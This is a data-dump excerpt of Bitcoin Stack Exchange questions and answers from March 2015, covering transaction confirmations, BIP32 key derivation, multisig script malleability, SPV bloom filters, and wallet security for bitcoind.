  <row Id="36370" PostTypeId="1" CreationDate="2015-03-08T03:44:01.617" Score="1" ViewCount="107" Body="&lt;p&gt;Say I ask Bob a lot of bitcoins in exchange for an expensive product. Bob sends it to me and I wait 1 confirmation to send him the product, because I trust Bob. I am only worried about the transaction being invalidated by a block that doesn't contain it getting solved. How can I determine a &quot;safe&quot; number of confirmations as to make that risk negligible? When I read about the &quot;6 confirmations&quot; thing it's always about preventing double-spending, and some even say that if you trust the other part you don't even need confirmations. Wouldn't that (zero confirmations) put the receiver in great risk of having the transfer invalidated?&lt;/p&gt;&#xA;" OwnerUserId="3541" LastActivityDate="2015-03-09T08:51:37.410" Title="Do I need N confirmations if I'm only worried about the transfer getting invalidated by a different block?" Tags="|confirmations|" AnswerCount="3" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="36371" PostTypeId="2" ParentId="36368" CreationDate="2015-03-08T07:49:54.140" Score="2" Body="&lt;p&gt;A &lt;a href=&quot;https://en.bitcoin.it/w/index.php?title=BIP_0032&amp;amp;action=historysubmit&amp;amp;diff=37414&amp;amp;oldid=37158&quot; rel=&quot;nofollow&quot;&gt;previous draft&lt;/a&gt; of BIP0032 did this, actually. (Sorry about linking to the bitcoin wiki - that change was made before we switched over to git for BIP tracking.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to the changelog, it was done for speed reasons.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;[30 Apr 2013] Switched from multiplication by I&lt;sub&gt;L&lt;/sub&gt; to addition of I&lt;sub&gt;L&lt;/sub&gt; (faster, easier implementation)&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It's much faster when deriving a child private key from a parent private key. The new method requires only a normal addition (mod n) rather than an ECDSA point multiplication.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not faster when deriving a child public key from a parent public key. That still requires an ECDSA multiplication followed by an ECDSA addition. (In fact, &lt;a href=&quot;https://gist.github.com/nickodell/a34f724a548d10402fa0&quot; rel=&quot;nofollow&quot;&gt;it's about 2% slower.&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using addition does not add any security issues. It's possible to get a parent private key from a child private key and an extended public key, but that would also be true if multiplication was used.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2015-03-08T18:19:03.377" LastActivityDate="2015-03-08T18:19:03.377" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="36373" PostTypeId="2" ParentId="36370" CreationDate="2015-03-08T15:17:22.917" Score="1" Body="&lt;p&gt;A transaction can only be invalidated by an attempt to double-spend. That is, the same transaction can be in block X or block X+1 or block X+n as long as there is no double-spend associated with it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to make sure that a transaction goes into a block soon-ish, try to add a fee that's sufficient to make a miner want to add it to a block. In that case, you only need a couple confirmations as being an orphan block after that is exceedingly unlikely.&lt;/p&gt;&#xA;" OwnerUserId="23123" LastActivityDate="2015-03-08T15:17:22.917" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36374" PostTypeId="2" ParentId="36367" CreationDate="2015-03-08T15:41:38.127" Score="1" Body="&lt;p&gt;Another very interesting question!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, note the date of the transaction. Specifically:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;created_at&quot;: &quot;2013-10-25T13:16:51.598Z&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It turns out that until &lt;a href=&quot;https://github.com/bitcoin/bitcoin/pull/3843&quot; rel=&quot;nofollow&quot;&gt;this issue&lt;/a&gt;, ANY value could be used instead of OP_0. To quote Peter Todd:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;While normally OP_0 is used, the actual value of this argument is not&#xA;  checked, and thus creates a source of mutability for any transaction&#xA;  with CHECKMULTISIG inputs.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The patch &lt;a href=&quot;https://github.com/bitcoin/bitcoin/commit/6380180821917c22ecfd89128ee60aae6f4cac33&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; actually made it so that the first argument of a standard multisig had to be OP_0 as to not cause transaction malleability.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given that this transaction was before this commit got into the standard bitcoin client, that transaction was perfectly fine. You literally could have put almost any value as the first byte and it would have gone through.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also note that this was a soft-forking change. It's still legal to put OP_INVALIDCODE instead of OP_0, it just won't be propagated by the standard bitcoin client and thus probably won't get into a block. Otherwise, this would have been a hard-forking change.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Edit: It looks like the API from biteasy is different than other places like blockchain:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that the script begins with &lt;code&gt;00&lt;/code&gt;, not &lt;code&gt;ff&lt;/code&gt; as with biteasy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/rawtx/fccf964964c34994e5dbbb9ff7f914159b524b0831f6eea12255aa424b39090e&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/rawtx/fccf964964c34994e5dbbb9ff7f914159b524b0831f6eea12255aa424b39090e&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;&quot;ver&quot;: 1,&#xA;&quot;inputs&quot;: [&#xA;{&#xA;&quot;sequence&quot;: 4294967295,&#xA;&quot;prev_out&quot;: {&#xA;&quot;spent&quot;: true,&#xA;&quot;tx_index&quot;: 38094378,&#xA;&quot;type&quot;: 0,&#xA;&quot;addr&quot;: &quot;35aHovjnZ9xdfYZsB2yBVTs6CWqnBpHNDY&quot;,&#xA;&quot;value&quot;: 100000,&#xA;&quot;n&quot;: 1,&#xA;&quot;script&quot;: &quot;a9142a9ada309638ec606f67e6b107867184c58a3aab87&quot;&#xA;},&#xA;&quot;script&quot;: &quot; &quot;&#xA;}&#xA;],&#xA;&quot;block_height&quot;: 265976,&#xA;&quot;relayed_by&quot;: &quot;24.212.184.180&quot;,&#xA;&quot;out&quot;: [&#xA;{&#xA;&quot;spent&quot;: true,&#xA;&quot;tx_index&quot;: 38095095,&#xA;&quot;type&quot;: 0,&#xA;&quot;addr&quot;: &quot;1QKjwQ7tJGaWrXyftce4ns47gvZ67GoqMt&quot;,&#xA;&quot;value&quot;: 80000,&#xA;&quot;n&quot;: 0,&#xA;&quot;script&quot;: &quot;76a914ffd6391cff55413edb04761ecf1a447d80bfe74188ac&quot;&#xA;}&#xA;],&#xA;&quot;lock_time&quot;: 0,&#xA;&quot;size&quot;: 435,&#xA;&quot;double_spend&quot;: false,&#xA;&quot;time&quot;: 1382706718,&#xA;&quot;tx_index&quot;: 38095095,&#xA;&quot;vin_sz&quot;: 1,&#xA;&quot;hash&quot;: &quot;fccf964964c34994e5dbbb9ff7f914159b524b0831f6eea12255aa424b39090e&quot;,&#xA;&quot;vout_sz&quot;: 1&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="23123" LastEditorUserId="23123" LastEditDate="2015-03-08T18:39:56.237" LastActivityDate="2015-03-08T18:39:56.237" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36375" PostTypeId="2" ParentId="36370" CreationDate="2015-03-08T17:03:45.493" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;because I trust Bob. I am only worried about the transaction being invalidated by a block that doesn't contain it getting solved. How can I determine a &quot;safe&quot; number of confirmations as to make that risk negligible?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The naïve answer is that if you trust Bob and his transaction is valid and pays a reasonable transaction fee, you can accept it with zero confirmations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, your question hints at a situation where the naïve protocol can fail: by trusting Bob's transactions, you also trust everyone who has paid Bob.  If they double spend the inputs they paid Bob, then Bob's payment to you becomes invalid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you really trust Bob, that's ok---you can just re-invoice him and he'll create a new transaction.  But if you aren't sure that Bob will pay a second invoice, then it's always best to wait for as many confirmations as possible before accepting his payment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The standard advice to wait for 6 confirmations---an average of one hour of proof of work---is sufficient to protect most transactions.&lt;/p&gt;&#xA;" OwnerUserId="21052" LastActivityDate="2015-03-08T17:03:45.493" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36376" PostTypeId="2" ParentId="36367" CreationDate="2015-03-08T18:25:05.127" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;But it's the raw hex where ff is representing the OP_0 (empty array)&#xA;  that is confusing me&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I do not see any problems with this tx. OK, pubkey1 == pubkey2 and there is one signature push repeated twice. But everything is correct&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;01000000&#xA;01&#xA;&#xA;9f3c95a83feaa2a84f5800ce482a50387fd8a7a142b0619a29923aab45574ca4:01000000&#xA;&#xA;fd5c01 // scriptSig len&#xA;00     // push empty vector/zero value &#xA;473044022016c09f09b6c55c0afefa1c0f0b7fa5789b3fa486d19ba3e7f5338fc8a2701dc502203ab665792d477ffabcfb736b6d6951d238d5a8af8f9754cc29e9caab46b9b1dd01&#xA;473044022016c09f09b6c55c0afefa1c0f0b7fa5789b3fa486d19ba3e7f5338fc8a2701dc502203ab665792d477ffabcfb736b6d6951d238d5a8af8f9754cc29e9caab46b9b1dd01&#xA;4cc9&#xA;  52&#xA;  4104d9399e85461d925e4c3932cc033aee59873e1212216c81943d5634c2e45ee0f45181f69d63b236e53d286a43b2de2b0ee64850191771924430f92ac6542f3cf2&#xA;  4104d9399e85461d925e4c3932cc033aee59873e1212216c81943d5634c2e45ee0f45181f69d63b236e53d286a43b2de2b0ee64850191771924430f92ac6542f3cf2&#xA;  41046d38a48ed6f12b132cdf14e84d1d6678bbf0e148e1b4791ee39fa0945cecf86ecb870cd4c74a4e472b8e3034f771df0375a7c097adf2bc48ce9f2ea3e64e20dc&#xA;  53ae&#xA;ffffffff&#xA;&#xA;01&#xA;8038010000000000&#xA;1976a914ffd6391cff55413edb04761ecf1a447d80bfe74188ac&#xA;00000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12983" LastEditorUserId="12983" LastEditDate="2015-03-09T09:40:19.160" LastActivityDate="2015-03-09T09:40:19.160" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="36377" PostTypeId="2" ParentId="36364" CreationDate="2015-03-08T19:01:17.597" Score="0" Body="&lt;p&gt;The other answer is correct, you could receive in a single address and in the back-end automatically split it to your two addresses. Or receive into your personal wallet and automatically send a bit to the commission address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A bitcoin: link (click or QR) can include the address &amp;amp; amount and most wallets will allow you to pay more than one address in a single transaction but this would rely on the user scanning two QR codes so it's not ideal. I'm pretty sure that while the QR tech can handle it you can't include two addresses in a bitcoin: link/QR.&lt;/p&gt;&#xA;" OwnerUserId="18441" LastActivityDate="2015-03-08T19:01:17.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36379" PostTypeId="1" CreationDate="2015-03-09T01:57:45.063" Score="3" ViewCount="687" Body="&lt;p&gt;What is a good strategy for backing up bitcoind's blockchain files (&lt;em&gt;not&lt;/em&gt; its wallet file) without having to take (e.g.) a bitcoind that is powering a counterparty-server instance offline?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Copying the blockchain from a running bitcoind may result in a corrupted copy (&lt;a href=&quot;https://bitcoin.stackexchange.com/a/25260/1660&quot;&gt;https://bitcoin.stackexchange.com/a/25260/1660&lt;/a&gt;),&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To avoid this, is it best to run a separate bitcoind that pulls the blockchain from the first instance (by adding it as its sole network connection using addnode) and periodically stop that then rsync out any changes? Or is there a less circuitous way of getting a coherent blockchain backup from a live bitcoind?&lt;/p&gt;&#xA;" OwnerUserId="1660" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2015-03-12T05:57:31.200" Title="Live Blockchain Backup" Tags="|blockchain|bitcoind|backup|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="36380" PostTypeId="2" ParentId="2459" CreationDate="2015-03-09T04:52:20.287" Score="2" Body="&lt;p&gt;I'm Software engineering major, Somali-American. I am working on online wallet which will be an alternative for sending money to Somalia. The website will be functional by the end of march 20 2015. &lt;/p&gt;&#xA;" OwnerUserId="24636" LastActivityDate="2015-03-09T04:52:20.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36381" PostTypeId="2" ParentId="36370" CreationDate="2015-03-09T08:51:37.410" Score="0" Body="&lt;p&gt;The probable combination of choices should equate to the desired expected value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Almost certainty of the transaction can be approximated by the almost certainty of the work performed, in the case of Bitcoin and Proof-of-Work generally.  There are a few papers with constructions of certainty relative to rates of work performed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ripple achieves almost certainty in 10 seconds on average.  Considering how well if functions, long run certainty should be judged by the strength of the distributed model and some key theoreticians.  They have managed cryptocurrency problems with high efficiency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Proof-of-Stake coins still may have some key holes despite their performance promise.  Some higher profile PoS coins had their primary exchanges hacked, and a potential vulnerability was emphasized, driving down their market values.  They can be the fastest, but enforcing transaction order never seems to be conceptually complete.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Risk of failure should probably be bounded with conventional financial forms like the Kelly Criterion.&lt;/p&gt;&#xA;" OwnerUserId="19323" LastActivityDate="2015-03-09T08:51:37.410" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36382" PostTypeId="1" AcceptedAnswerId="36387" CreationDate="2015-03-09T09:32:50.383" Score="5" ViewCount="1727" Body="&lt;p&gt;Pieter Wuille &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/36368/address-generator-for-bitcoin-wallet/36371#comment42452_36371&quot;&gt;said:&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;[...](people often assume that no inverse for EC multiplication exists, which is true, but only to solve for k in k*P = Q; solving for P is possible).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;When you multiply a scalar value by an EC point, you get an EC point. According to the above comment, it is possible to take the output point and derive the input point. How is this done? Does it require knowing k?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that I'm specifically &lt;em&gt;not&lt;/em&gt; asking about extracting the scalar value (k) from the output point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also note that this wouldn't be useful to breaking Bitcoin signature algorithm - the generator that private keys are multiplied by is publicly known.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2015-03-09T18:27:34.453" Title="How do you invert an ECDSA multiplication to get the generator?" Tags="|ecdsa|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36383" PostTypeId="1" CreationDate="2015-03-09T11:03:34.447" Score="5" ViewCount="1014" Body="&lt;p&gt;HD wallets as described &lt;a href=&quot;https://en.bitcoin.it/wiki/Deterministic_wallet&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; are built based on a master seed and a master public key as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;PK.b = PK.a + sG&#xA;SK.b = SK.a + s&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I just got a little confused about this. Is &lt;code&gt;s&lt;/code&gt; the mnemonic seed that&#xA;user knows? which generates the private keys. &lt;/li&gt;&#xA;&lt;li&gt;Secondly a service&#xA;provider only needs to know &lt;code&gt;sG&lt;/code&gt; to calculate the user's next address.&#xA;Am I right? &lt;/li&gt;&#xA;&lt;li&gt;And lastly more importantly I am just wondering whether it is possible to&#xA;calculate the master private key (seed) if an attacker or service provider gets one child's private key address?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="21331" LastEditorUserId="2306" LastEditDate="2015-04-22T18:14:34.020" LastActivityDate="2015-04-22T18:14:34.020" Title="HD wallets with an exposed child private key" Tags="|private-key|bip32-hd-wallets|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="36385" PostTypeId="1" AcceptedAnswerId="36389" CreationDate="2015-03-09T15:29:23.730" Score="2" ViewCount="367" Body="&lt;p&gt;I'm checking out the test net and a friendly person gave me access to his private key so that I didn't need to generate coins, so I importprivkey the key, sent me some coins and...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Well, I understand that now my wallet contains those 2 addresses, how can I remove his address, if possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why do I want to do this? Because I'm testing stuff out and I don't want his transactions / tests cloud mine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="24641" LastEditorUserId="24641" LastEditDate="2018-08-10T14:21:08.223" LastActivityDate="2018-08-10T14:21:08.223" Title="Can I 'un-import' private key?" Tags="|private-key|import|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="36386" PostTypeId="1" AcceptedAnswerId="36388" CreationDate="2015-03-09T17:52:26.340" Score="2" ViewCount="521" Body="&lt;p&gt;Using SPV the client can assure that a transaction is inside a block, but how does it know in which blocks to look?&lt;/p&gt;&#xA;" OwnerUserId="24585" LastEditorUserId="18196" LastEditDate="2015-03-09T19:02:18.113" LastActivityDate="2015-05-11T16:12:31.140" Title="How do thin-clients know in which blocks to look?" Tags="|block|spv|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36387" PostTypeId="2" ParentId="36382" CreationDate="2015-03-09T18:27:34.453" Score="7" Body="&lt;p&gt;k is just a scalar, modulo the order of the elliptic curve group.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Q = k*P&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;thus:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(1/k)*Q = (1/k)*k*P&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;thus:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(1/k)*Q = P&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You find P by multiplying Q with the multiplication inverse of k modulo the curve order.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2015-03-09T18:27:34.453" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36388" PostTypeId="2" ParentId="36386" CreationDate="2015-03-09T18:56:59.747" Score="3" Body="&lt;p&gt;SPV nodes usually only look at block headers, and then will download some of the actual block data of blocks which other peers have told them contain transactions relevant to them. SPV nodes are relying on at least one of their peers to be honest and report when a transaction appears on the network that is relevant to them. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But how do other peers know which transactions the SPV nodes want to know about?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SPV nodes essentially give their full-node peers a filter, called a bloom filter, that tells the nodes that download all the transaction data which transactions to send to the spv node. This filter also has a built-in false positive rate, so that the SPV nodes don't have to show exactly which addresses are theirs (essentially a built-in privacy level). Rather they make a filter that will validate a superset of transactions that the node is actually interested in. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;filteradd&lt;/code&gt;, &lt;code&gt;filterclear&lt;/code&gt;, and &lt;code&gt;filterload&lt;/code&gt; are the relevant p2p protocol methods. The bitcoin developer documentation goes into more detail &lt;a href=&quot;https://bitcoin.org/en/developer-reference#filteradd&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. &lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="18196" LastEditDate="2015-05-11T16:12:31.140" LastActivityDate="2015-05-11T16:12:31.140" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36389" PostTypeId="2" ParentId="36385" CreationDate="2015-03-09T19:06:57.823" Score="4" Body="&lt;p&gt;There is no way to 'un-import' a private key in the core client. What you could do instead is:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Make a list of all the private keys you do care about.&lt;/li&gt;&#xA;&lt;li&gt;Close your client.&lt;/li&gt;&#xA;&lt;li&gt;Move the wallet.dat out of the data directory to some other location.&lt;/li&gt;&#xA;&lt;li&gt;Start the client.&lt;/li&gt;&#xA;&lt;li&gt;Re-import all the private keys that you do want in your wallet.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This is sort of a work around, and it may be kind of tedious, sorry there isn't a better solution currently.&lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="18196" LastEditDate="2015-09-01T16:57:26.393" LastActivityDate="2015-09-01T16:57:26.393" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="36391" PostTypeId="1" CreationDate="2015-03-10T01:18:42.843" Score="0" ViewCount="170" Body="&lt;p&gt;I'm interested in setting up a &lt;a href=&quot;http://p2pool.org/&quot; rel=&quot;nofollow&quot;&gt;P2Pool node&lt;/a&gt; (which requires running &lt;code&gt;bitcoind&lt;/code&gt;) to run a little mining pool for myself. Before you ask, nope I'm not even trying to break even, I know I'll lose money on this. Just want to play around and get a feel for how these things work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is: I hear over and over again that it's important to take security precautions with &lt;code&gt;bitcoind&lt;/code&gt; and wallets, but I've had trouble teasing out exactly what those security precautions are. If I have &lt;code&gt;bitcoind&lt;/code&gt; not accepting RPC calls (as is the default), is there any danger to using the out-of-the-box unencrypted wallet?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the information helps, I'll probably run the node in EC2, and have a cron job that frequently transfers any bitcoins earned through mining into an account in an exchange so I can play around with that side of things as well (so I'm not worried about large sums of bitcoin building up in my &lt;code&gt;bitcoind&lt;/code&gt; wallet).&lt;/p&gt;&#xA;" OwnerUserId="2029" LastEditorUserId="2306" LastEditDate="2015-03-10T01:21:52.110" LastActivityDate="2015-04-09T09:52:07.287" Title="Is an unencrypted wallet secure if bitcoind is not accepting RPC calls?" Tags="|transactions|wallet|bitcoind|security|wallet-security|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36392" PostTypeId="2" ParentId="36391" CreationDate="2015-03-10T02:13:59.803" Score="1" Body="&lt;p&gt;Turning off RPC will prevent that particular attack vector, but if the coins are on a machine connected to the internet, that's a lot of vulnerabilities and attack vectors to consider.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, if you're running a node on EC2, you're not going to generate enough bitcoins to be worth stealing. If the point is to figure out how everything works, I wouldn't worry about the bitcoins you'll be mining since it'll be so little (at most $10 per year).&lt;/p&gt;&#xA;" OwnerUserId="23123" LastActivityDate="2015-03-10T02:13:59.803" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36393" PostTypeId="1" CreationDate="2015-03-10T04:55:37.410" Score="-1" ViewCount="793" Body="&lt;p&gt;I am building an altcoin to altcoin trading site wherein any Member can trade any altcoin for any other altcoin ... (Top 60 or so Altcoins are supported).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to know how Cryptsy's Trade Key system is written (internally) in order to use the method to enable my membership system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also need a GOOD crypto-related programmer for this and a related project.  Unfortunately, I have more questions than I can reasonably expect to ask here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am offgridsid and I live on gmail.&lt;/p&gt;&#xA;" OwnerUserId="24646" LastActivityDate="2015-04-09T08:52:07.067" Title="How does Cryptsy's Trade Key system actually work" Tags="|exchanges|development|cryptsy|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36396" PostTypeId="2" ParentId="36393" CreationDate="2015-03-10T08:22:38.590" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I need to know how Cryptsy's Trade Key system is written (internally) in order to use the method to enable my membership system.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Most Bitcoin exchanges have a database that represents the balances of their customers. When a user wants to send money to another user, the balance is deducted from the account of the first user, and added to the second's. This is generally referred to as an &lt;a href=&quot;https://en.bitcoin.it/wiki/Off-Chain_Transactions&quot; rel=&quot;nofollow&quot;&gt;off chain transaction&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cryptsy chooses to identify the receiving account by a 40 character hexadecimal string rather than a username, which is somewhat unusual.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2015-03-10T08:32:08.827" LastActivityDate="2015-03-10T08:32:08.827" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36397" PostTypeId="2" ParentId="36391" CreationDate="2015-03-10T09:16:09.500" Score="0" Body="&lt;p&gt;Whether bitcoind is accepting RPC calls has very little bearing on whether it's secure. By default, bitcoind only accepts connections originating from the local computer. In most situations where an attacker can make connections to RPC, they would have the ability to look in your wallet folder and copy your wallet off. (There are a bunch of tricky exceptions to that. For example, it's possible to take away a user's SSH privileges without taking away their ability to use SSH port forwarding.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, if you turn on RPC, bitcoin will generate a password for it which is too long to be guessed. (This password is different from wallet encryption.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your wallet &lt;em&gt;was&lt;/em&gt; encrypted, then you wouldn't be able to use a cron script to automatically transfer your Bitcoins to your exchange account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would call leaving your wallet unencrypted an acceptable security risk.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2015-03-10T09:16:09.500" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36401" PostTypeId="1" AcceptedAnswerId="36410" CreationDate="2015-03-10T21:00:37.383" Score="1" ViewCount="468" Body="&lt;p&gt;I am trying to generate my own genesis hash by modifying some hardcoded parameter in main.cpp. &lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It worked in previous version of Bitcoin, but now it seems that the &quot;Genesis Generator&quot; has been removed. &lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where is the &quot;New Genesis Hash Generator&quot; code in newest Bitcoin source code?&lt;br&gt;&lt;/p&gt;&#xA;" OwnerUserId="24601" LastActivityDate="2015-03-11T14:26:39.177" Title="Where is the &quot;New Genesis Hash Generator&quot; code in newest Bitcoin source code?" Tags="|genesis-block|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36402" PostTypeId="1" AcceptedAnswerId="36403" CreationDate="2015-03-10T23:02:54.873" Score="1" ViewCount="1113" Body="&lt;p&gt;I'm new to Bitcoin and I'm having trouble understanding the concept of &quot;address&quot;. I understand that an address is created when you want to send or receive bitcoins from someone. You create a bitcoin address and you give that address to someone so that he or she can send bitcoin to that address and you'll receive the payment. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, how can a bitcoin address be associated with multiple IPs? For example: &lt;a href=&quot;https://blockchain.info/address-relayed-ips/15VjRaDX9zpbA8LVnbrCAFzrVzN7ixHNsC&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/address-relayed-ips/15VjRaDX9zpbA8LVnbrCAFzrVzN7ixHNsC&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This bitcoin address is connected with multiple IPs. I know that many bitcoin users advocate that we shouldn't reuse addresses. There is no way that someone else can just &quot;pick up&quot; the address that we just abandoned, since addresses are generated randomly. Then how is it possible that an address can be used in different IPs? Is it because the associated IPs include the IPs from which it has received payments?&lt;/p&gt;&#xA;" OwnerUserId="24658" LastEditorUserId="24658" LastEditDate="2015-03-10T23:10:06.923" LastActivityDate="2015-03-10T23:40:00.943" Title="How can one Bitcoin address be associated with mulitple IP addresses?" Tags="|address|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36403" PostTypeId="2" ParentId="36402" CreationDate="2015-03-10T23:40:00.943" Score="3" Body="&lt;p&gt;A bitcoin address is not based on or tied to a network address, they are completely different.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Think of the Bitcoin address as a bank account number and the IP as a telephone caller ID. When you call your bank from different phones they'll see different caller IDs but you'll give them the same account number each time. They can write down the caller ID if they're spying on you, but that doesn't have anything to do with the account number other than the fact that you yourself are using both.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Likewise an observer can watch you sending transactions to the network from your IP address, and if you use the same Bitcoin address more than once they can see your sending IP address each time (unelss you use Tor...). But that doesn't have anything to do with the Bitcoin address other than the fact that you yourself are using both.&lt;/p&gt;&#xA;" OwnerUserId="1660" LastActivityDate="2015-03-10T23:40:00.943" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
